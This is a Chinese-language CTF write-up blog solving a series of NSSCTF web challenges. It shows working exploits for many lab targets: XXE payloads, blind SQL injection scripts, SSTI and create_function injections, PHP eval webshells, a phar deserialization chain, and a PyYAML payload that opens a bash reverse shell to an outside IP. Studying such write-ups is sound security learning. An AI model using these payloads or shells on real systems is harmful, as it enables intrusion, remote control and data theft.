75
76
77
78
79
80
81
82
83
84
85
86
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

进行常规的代码审计,发现上传的文件名不能有点,那么上传木马啥的就不存在了,因为解析不了,挺安全的,但我们接着往下看,上传文件后会获得一个uuid并将uuid和filename一起存入数据库,在file目录下可以查询上传的文件,在file函数中有一个重要的利用点

1
os.path.join

打开uploads目录下的文件并读取内容,然后return。此处存在绝对路径拼接漏洞!!!

1
2
3
4
5
绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

因此,如果我们上传/flag,那么uploads将被删除,直接读取/flag下的内容,那就拿捏了!

image-20241202091606567

然后访问file下即可

1
NSSCTF{0aff3bd4-26ba-4b76-bf5c-36bf2eb5e175}

[CSAWQual 2019]Unagi

image-20241202093801748

点击here后显示如下:

image-20241202093817078

同时题目告诉我们flag在/flag,那么xxe拿捏了。

上传xml即可,但是上传后发现存在waf

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag">]>
<users>
<user>
<username>&xxe;</username>
<password>&xxe;</password>
<name>&xxe;</name>
<email>&xxe;</email>
<group>&xxe;</group>
<intro>&xxe;</intro>
</user>
</users>

那就编码转换一下,简单。

1
iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
image-20241202093953244
1
NSSCTF{b4784f04-d534-46f9-adee-431ea58cb80a}

[CISCN 2019华北Day2]Web1

布尔盲注,这里就简单地贴两个脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import sys
import time

url = "http://node4.anna.nssctf.cn:28299/index.php"
flag = ""
for i in range(1,60):
max = 127
min = 32
while min<max:
mid = (max+min)//2
payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(i,mid)
print(payload)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

data = {
"id":payload
}
res = requests.post(url= url,data=data)
time.sleep(0.3)
if 'Hello' in res.text:
min=mid+1
else:
max=mid
flag+=chr(min)
print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# buuctf web Hack World
from turtle import right
import requests

url = "http://node4.anna.nssctf.cn:28299/index.php"
flag = ""
i = 0

while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf + right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id": payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break

[CISCN 2019华东南]Web11

考点smarty ssti

image-20241202113409968

Smarty模板,不出意外应该就是ssti

image-20241202113436817

ssti确定了

在这里有两个知识点:

  1. Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令
  2. XFF头代表了HTTP的请求端真实的IP,通过修改XXF头可以实现伪造IP

image-20241202113745659

image-20241202113809806

[FSCTF 2023]是兄弟,就来传你の🐎!

考察文件上传,对后缀,内容长度,文件头,内容进行了过滤,最终payload如下:

image-20241202120310235

BM与GIF89a一样可以作为文件头,bm是bmp的

短标签不用闭合!!!

[NSSRound#13 Basic]flask?jwt?

本质上是一道非常简单的session伪造题

但是在使用脚本时出现了一些问题导致一直报错,这里阐述一下。

1
2
3
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True,'_i
d': '323e553274b92d78b97cec1e6057e2d1e427da85e1e1d30ab94c690b84cea27289a62d7bfece7c28411e7440095785ba82b839cb6355dad9068
bdd3f73b6aac8','_user_id': '1'}"

要注意的是这里的True不能为true,同时要注意一些空格,值前要有一个空格。

image-20241202135053653

错误示例如上

[GKCTF 2020]CheckIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();
1
node4.anna.nssctf.cn:28768?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==

搞一个一句话木马就好,放哥斯拉上面

发现执行不了命令,存在disable_function,可以用插件来绕过

image-20241202141718720

[NCTF 2018]Easy_Audit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}

if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}

if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}


?>

在这里首先对题目进行思路解析:

要以GET方法接收yulige参数,但是会被过滤

1
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');

$_SERVER[‘QUERY_STRING’]匹配的是问号后的内容,且不会进行url解码,我们可以通过url编码绕过

但是上面又存在

1
2
3
4
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}

这会匹配使对yulige的传参不能有字母,这可不行啊!!

但是我们可以发现这只是$_REQUEST,如果同时get和post,post优先,会产生变量覆盖。

然后我们需要关注的就是这里的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}

首先要绕过md5的比较,要让自己的前32位强等于自己的md5值,采用数组绕过。因为都为NULL

然后后面的就太简单了,给出payload:

1
http://node4.anna.nssctf.cn:28809/?%79%75%6C%69%67%65[]=123&%6E%63%74%66=nnct%66isfun&%66%6C%61%67=data://text/plain,ccc_liubi
1
yulige=123&nctf=1&flag=2

[NSSRound#1 Basic]basic_check

1
<?php highlight_file(__FILE__);// Welcome to NSSCTF Round#1 Basic, have fun. 

一道奇奇怪怪的题,之前没有见过,除了这个就啥都没有了,目录也什么都扫不到。

1
2
3
4
5
6
7
8
9
C:\Users\TY>curl -I -X OPTIONS "node4.anna.nssctf.cn:28934/index.php"
HTTP/1.1 200 OK
Date: Mon, 02 Dec 2024 11:09:33 GMT
Server: Apache/2.4.38 (Debian)
DAV: 1,2
DAV: <http://apache.org/dav/propset/fs/1>
MS-Author-Via: DAV
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,PUT,LOCK,UNLOCK
Content-Length: 0

-X OPTIONS

-X OPTIONS 指定了请求的方法为 OPTIONS,这是 HTTP 的一种方法,常用于查询服务器支持的 HTTP 方法(如 GETPOSTPUT 等)。

这条命令的作用是向 node4.anna.nssctf.cn:28934/index.php 发送一个 OPTIONS 请求,并显示响应头。

再说一下PUT、DELETE请求,PUT、DELETE请求本身最初是用来进行文件管理的,当然这个请求如果为进行鉴权处理的话就会任意执行修改和删除,PUT请求,如果不存在这个路径下的文件,将会创建,如果存在,会执行覆盖操作

image-20241202191229996 image-20241202191236455

拿捏了

NSSCTF{031e835f-af6a-447d-838d-6d5e5b640e8e}

[GDOUCTF 2023]hate eat snake

image-20241202192140294

一道js题目,这种题一般直接给了flag在源码里,但是我找不到。这里刚开始是打不开源码的

这里可以右键->检查

先复制网页url,打开f12,再输入网址打开网页,这样f12就会保留

火狐浏览器右边的三横->更多工具->开发者工具。

三种方法打开f12

接下来分析题目

这种js的网页,flag一般都是alert给你,那么我们接下来搜一下alert函数

image-20241202192401696

不出意外这就是flag了。前面有个if比较,跟进一下getScore

image-20241202192427751

那么只要让这个return的score值超级大就行,84行打断点然后空格运行游戏

image-20241202192500153

然后来控制台改score的值

image-20241202192515347

回车重新运行后alert出flag

image-20241202192532428

[NCTF 2018]Flask PLUS

image-20241202195010229

这题本来想着用fenjing,但是这种格式的好像用不太了fenjing

Aura给出一个方法:

可以先把黑名单fuzz出来,本地开一个server跑出来payload,再拼上去

虽然但是这道题比较简单直接手动了。

这里给出payload:

1
{{lipsum.__globals__['o''s']['pop''en']('tac /Th1s_is__F1114g').read()}}

[NISACTF 2022]level-up

一共有五个level,第一关是目录扫描,扫出robots.txt即可。

第二关md5碰撞,简单

第三关sha1碰撞,都是有笔记的,简单。

第四关看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
include "str.php";
show_source(__FILE__);

$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}

$_SERVER['REQUEST_URI'] 是一个 PHP 超全局变量,表示当前请求的 URI(Uniform Resource Identifier)。它提供了客户端请求的完整 URI,包括路径和查询字符串部分。

http://example.com/test/page.php?name=John&age=30

输出

/test/page.php?name=John&age=30

而下划线用加号绕过即可。

最后是level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

这里就要用到create_function

1
2
3
4
5
6
7
8
9
10
11
12
注释掉create_function()格式后面的’}',防止报错

#create_function(‘$a’, ‘echo(“hello”);’)的实现逻辑如下:
function niming($a)
{
echo(“hello”);
}

题目里的payload就是下面这个
function niming()
{
}system(‘cat /flag’);//}

因此这里的payload为

1
?a=\create_function&b=}system('ls /');//

这里的反斜杠是绕过preg_match,同时转义c,不会对函数造成影响。

[HUBUCTF 2022 新生赛]Calculate

一道计算题,用python解题

image-20241203142059441

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
import time
import requests

url='http://node5.anna.nssctf.cn:26952/'
sess=requests.session()
res=sess.get(url)

while 1:
arg=re.findall('<div style="display:inline;color:#.{6}">(.)</div>',res.text)
question=''.join(arg)
print(question)
answer=eval(question[:-1])
print(answer)
time.sleep(1)
res=sess.post(url,data={'ans':answer})
print(res.text)

[FSCTF 2023]CanCanNeed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Noteasy{
protected $param1;
protected $param2;

function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}

}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>

一眼丁真,create_function

1
2
3
4
5
6
7
8
<?php
class Noteasy{
protected $param1='create_function';
protected $param2='}system($_POST[jwk]);//';
}

$a=new Noteasy();
echo base64_encode(serialize($a));

拿捏

还有一种方法

直接require也行

1
2
3
4
5
6
7
8
<?php
class Noteasy{
protected $param1='create_function';
protected $param2='}require(base64_decode(ZmlsZTovLy9mbGFn));//';
}

$a=new Noteasy();
echo base64_encode(serialize($a));

[湖湘杯 2021 final]Penetratable

有注册登录界面,有root用户,admin用户

尝试越权改root密码,权限不够,改admin可以,猜测root只有admin可以改,那么接下来就要获得admin权限。这里直接用admin账号登录是改不了的,被禁用了。

Information界面会将信息回显到界面,那么尝试二次注入

image-20241203150323022

这里直接修改密码,修改的就是admin用户的密码!

然后发现按钮不能按,f12看一下就好,自己构造数据包,这里直接看js源码就行了,里面都有

image-20241203151646902

root密码成功修改成123456,登陆一下看看。

image-20241203151737374

成功登录,多了一个文件下载的功能点

抓一下包看看

image-20241203151855387

看看能不能任意文件下载。

image-20241203152039720

目录穿越漏洞~

之前扫源码扫到过phpinfo.php,那就读取一下试试。

1
2
3
4
<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

image-20241203152536667

正常情况下,我们应该是可以直接拿到/flag的内容的,但是这里!!他居然不让我读!权限太低了,那么接下来要做的就是提权!

先上线哥斯拉!

这里注意一个问题,他的密码cc是GET类型传参的,这不能被webshell管理工具利用,那么我们cc=eval($_POST[1]);然后把1当作密码即可。

image-20241203153252371

实锤了!

提权吧接下来
image-20241203154849744

image-20241203155021110

image-20241203155429796

image-20241203155415823

拿捏!

[CISCN 2022 初赛]ezpop

image-20241203163625594

用phpggc试了半天结果不行,不知道为啥

只能自己跟了,跟打0day一样。。。。不过挺好的

详情看笔记!!!说白了直接用exp就行

[NSSCTF 2022 Spring Recruit]babysql

一道布尔盲注,这里给出payload

1
2
3
4
5
6
7
tarnish'&&(ascii(substr((select/**/database()),{},1))>{})&&/**/'1'='1

tarnish'&&(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{})&&/**/'1'='1

tarnish'&&(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_table='flag'),{},1))>{})&&/**/'1'='1

tarnish'&&(ascii(substr((select/**/flag/**/from/**/flag),{},1))>{})&&/**/'1'='1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

url = "http://node5.anna.nssctf.cn:28905/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while min<max:
mid = (max+min)//2
payload = "tarnish'&&(ascii(substr((select/**/group_concat(flag)/**/from/**/flag),{},1))>{})&&/**/'1'='1".format(i,mid)
print(payload)
data = {
"username":payload
}
res = requests.post(url= url,data=data)
time.sleep(0.3)
if 'flag' in res.text:
min=mid+1
else:
max=mid
flag+=chr(min)
print(flag)
1
NSSCTF{700253f7-9510-4244-a934-a68ed47bbff4}

[HDCTF 2023]YamiYami

image-20241204183506892

打开发现有三个功能点,第一个是ssrf一样的存在,第二个是上传文件,第三个是pwd

先测一下第一个

image-20241204183619864

ok那读一下源码嘛!

image-20241204183641915

1
app.*

被过滤了!!!二次url编码来绕过

1
http://node4.anna.nssctf.cn:28466/read?url=file:///%2561pp/%2561pp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"


@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''


@app.route('/pwd')
def pwd():
return str(pwdpath)


@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'


def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")


@app.route('/boogipop')
def load():
if session.get("passport") == "Welcome To HDCTF2023":
LoadedFile = request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"


if __name__ == '__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

这里多了一个路由,我怎么感觉除了pwd,其他三个路由都有洞啊!!!

/read可能直接读取到flag,这里有个非预期,直接读file:///proc/1/environ直接出了flag

/upload中有os.path.join,可能造成绝对路径拼接漏洞!

1
2
3
4
5
绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

如果flag在根目录下且名称知道,那么就拿下了

但是,由于此处存在secure_filename函数,所以就不行啦!!

再看看/boogipop路由,yaml.full_load(f),可能存在PyYaml反序列化

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/boogipop')
def load():
if session.get("passport") == "Welcome To HDCTF2023":
LoadedFile = request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"

首先这里我们面临的是session伪造

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

注意看这里的uuid.getnode(),uuid.getnode() 返回计算机的网络接口卡(NIC)地址,通常是设备的 MAC 地址。

image-20241204190138226

尝试一下读取file:///sys/class/net/eth0/address

成功读取

1
02:42:ac:02:53:60 

那接下来我们用python跑一下secret_key

1
2
3
4
5
6
import random

random.seed(0x0242ac025360)
print(str(random.random() * 233))

#186.07856094331362
1
eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.Z1A35A.Asx0C_ayFAFrjis7qY4WWiXNYEU

image-20241204191236394

1
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.Z1A5HQ.XcVLAuoOz8HI6SqclVREZ0FH3dE

/boogipop路由下干的其实就是接收一个file,然后它会去查看是否存在,若存在则yaml.full_load
所以我们要先去上传一个恶意的yaml文件

由于这里是full_load()

我们要想办法去突破,用extend方法试试反弹shell

1
2
3
4
5
6
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('bash -c \"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\"')"

这里我们创建一个1.txt就好了,其他后缀都被过滤了

上传到/uploads/1.txt

然后到/boogipop路由下进行反序列化即可,这里注意改session

image-20241204191947252

image-20241204192022368

知识点挺多的,还是非常适合学习的!!

[SWPUCTF 2021 新生赛]babyunser

打开就两个功能点

image-20241205101557977

一个上传文件,一个查看文件

根据题目就知道与反序列化有关,php架构,猜测为phar反序列化。

先扫目录看看

没有什么有价值的。

那么看看查看文件这个功能点,可能和任意文件读取有关

image-20241205102042424
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
<input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
<input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

里面包含了class.php,那么我们再读取一下class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
class aa{
public $name;

public function __construct(){
$this->name='aa';
}

public function __destruct(){
$this->name=strtolower($this->name);
}
}

class ff{
private $content;
public $func;

public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}

public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}

class zz{
public $filename;
public $content='surprise';

public function __construct($filename){
$this->filename=$filename;
}

public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}

public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}

public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}

public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}

class xx{
public $name;
public $arg;

public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}

public function __call($name,$arg){
$name($arg[0]);
}
}

构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
class aa{
public $name;
}

class ff{
private $content;
public $func="assert";

public function __construct(){
$this->content=new xx();
}

public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}

class zz{
public $filename;
public $content='surprise';

public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}

public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}

class xx{
public $name;
public $arg;

public function __construct(){
$this->name='system';
$this->arg='ls /';
}

public function __call($name,$arg){
$name($arg[0]);
}
}

$a=new aa();
$z=new zz();
$f=new ff();
$a->name=$z;
$z->filename=$f;
echo serialize($a);

@unlink('test.phar');//删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');//创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();//开始写文件
$phar->setStub('<?php __HALT_COMPILER();?>');//写入stub
$phar->setMetadata($a);//写入meta-data
$phar->addFromString('test.txt','test');//添加要压缩的文件
$phar->stopBuffering();
1
aa::__destruct() -> zz::__toString() -> zz::write() -> ff:__get() -> xx::__call()

image-20241205105221482

[HNCTF 2022 WEEK3]ssssti

这里直接给出payload

1
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat flag

[GFCTF 2021]Baby_Web

打开后没什么利用点,源码中说了

1
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->

又试了试目录穿越,不行啊。

扫扫目录看看

image-20241205184800886

中间有一个/etc/passwd的神奇东西,试试

image-20241205184816327

我勒个任意文件读取

此处其实是一个CVE-2021-41773

1
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

poc执行不了,没办法,正常打吧

读取一下上层目录的index.php.txt

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

image-20241205185132883

不让我读??!!

为啥啊,试试之前的.txt格式,可以了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){

$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){

extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];

$param = $where = [];

$_params = trim($_params);

$params = explode(' ', $_params);//action=list module=$mod
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {

case 'function':

if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}

$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {

$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}

首先

new Temp时会对this->date赋值,然后进入display()方法后发现有一个extract($this->date);,这可以进行变量覆盖,看后面$this->getTempName($template,$space);,跟进后发现$dir需要为admin,那么我们变量覆盖即可,POST一个space=admin,接着看后面if(!is_file($this->template)),让GET ?file=index.html即可。

image-20241205190842283

然后此处include了这串php代码,调用了listdata方法,传参action=list module=$mod

这里只有$mod时可控的。

action=list&module=$mod

mod=xxx action=function

action=list module=xxx action=function force=false name=phpinfo()

这里后面传入的action把前面的list覆盖掉就可以了,用function来覆盖

1
2
GET:?filename=index.html
POST:space=admin&mod=xxx action=function force=0 name=phpinfo

在phpinfo里面可以找到flag

1
NSSCTF{45956a8b-37e3-43e1-9ec0-664239b74a90}
1
2
GET:?filename=index.html
POST:space=admin&mod=xxx action=function force=0 name=exec param=tac${IFS}/f11111111aaaagggg>1.txt

image-20241205195913384

[羊城杯 2020]easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
